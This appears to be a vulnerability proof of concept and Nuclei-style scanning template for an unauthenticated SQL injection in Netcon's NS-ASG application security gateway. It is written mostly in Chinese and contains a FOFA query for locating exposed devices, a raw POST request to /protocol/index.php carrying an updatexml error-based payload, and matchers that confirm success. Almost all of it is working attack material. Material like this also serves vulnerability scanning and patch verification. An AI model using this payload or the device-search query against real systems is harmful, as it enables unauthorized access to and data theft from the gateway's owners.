网康科技 NS-ASG 应用安全网关 SQL注入

app="网康科技-NS-ASG安全网关"

POST /protocol/index.php HTTP/1.1
Host: XXXXXXXXXXXXXXXXXXX
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
 
jsoncontent={"protocolType":"uploadmacbind","messagecontent":["1'and(updatexml(1,concat(0x7e,(select+version()),0x7e),1))='"]}

id: NS-ASG-uploadmacbind-sqli
info:
  name: 由于网康科技 NS-ASG 应用安全网关 /protocol/firewall/uploadmacbind.php文件没有对用户输入的参数进行严格的校验和过滤
  author: someone
  severity: critical
  description: 由于网康科技 NS-ASG 应用安全网关 /protocol/firewall/uploadmacbind.php文件没有对用户输入的参数进行严格的校验和过滤,直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限。
  metadata:
    verified: true
    max-request: 1
    fofa-query: FOFA：app="网康科技-NS-ASG安全网关"
  tags: sqli

requests:
  - raw:
      - |
        POST /protocol/index.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
        Accept: */*
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        
        jsoncontent={"protocolType":"uploadmacbind","messagecontent":["1'and(updatexml(1,concat(0x7e,(select+version()),0x7e),1))='"]}
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "XPATH syntax error"
        part: body

      - type: regex
        regex:
          - "~[\\d\\.]+~"
        part: body